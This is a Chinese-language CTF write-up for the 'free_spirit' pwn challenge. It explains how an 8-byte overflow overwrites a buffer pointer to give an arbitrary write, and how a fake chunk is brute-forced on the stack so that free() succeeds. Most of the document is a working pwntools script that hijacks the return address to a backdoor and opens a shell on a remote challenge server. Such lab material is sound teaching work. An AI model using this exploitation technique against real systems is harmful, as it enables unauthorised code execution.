free_spirit(在棧上爆破一個可以被free的fake_chunk)
首先檢查一下程序的保護機制
然後,我們用IDA分析一下,功能3存在8字節溢出,將會把v7下面的buf指針覆蓋掉,而覆蓋了buf指針,就能實現任意地址寫。
那麼,我們劫持函數棧返回地址爲one_gadget即可,爲了繞過結尾對buf的檢查,我們的buf非0,且free後不會報錯。
但是我們泄露不了堆地址,因此,只能在棧上找一個合適的fake_chunk,因此,可以直接在棧上爆破,直到程序不崩潰,那麼就可以執行one_gadget了。
#coding:utf8
from pwn import *
backdoor = 0x0000000000400A3E
i = -54
while True:
try:
#sh = process('./free_spirit')
sh = remote('node3.buuoj.cn',29949)
i -= 1
sh.sendlineafter('>','2')
sh.recvuntil('0x')
stack_addr = int(sh.recvuntil('\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)
sh.sendlineafter('>','1')
sleep(0.5)
sh.send('a'*0x8 + p64(stack_addr + 0x58) + '\x00'*0x10)
sleep(0.5)
#8字節溢出,覆蓋buf指針,造成任意地址寫
sh.sendlineafter('>','3')
sh.sendlineafter('>','1')
sh.sendline(p64(backdoor) + p64(stack_addr + i * 8))
#8字節溢出,覆蓋buf指針,使得free不報錯
sh.sendlineafter('>','3')
#raw_input()
sh.sendlineafter('>','0')
sh.interactive()
except:
print 'trying...'
sh.close()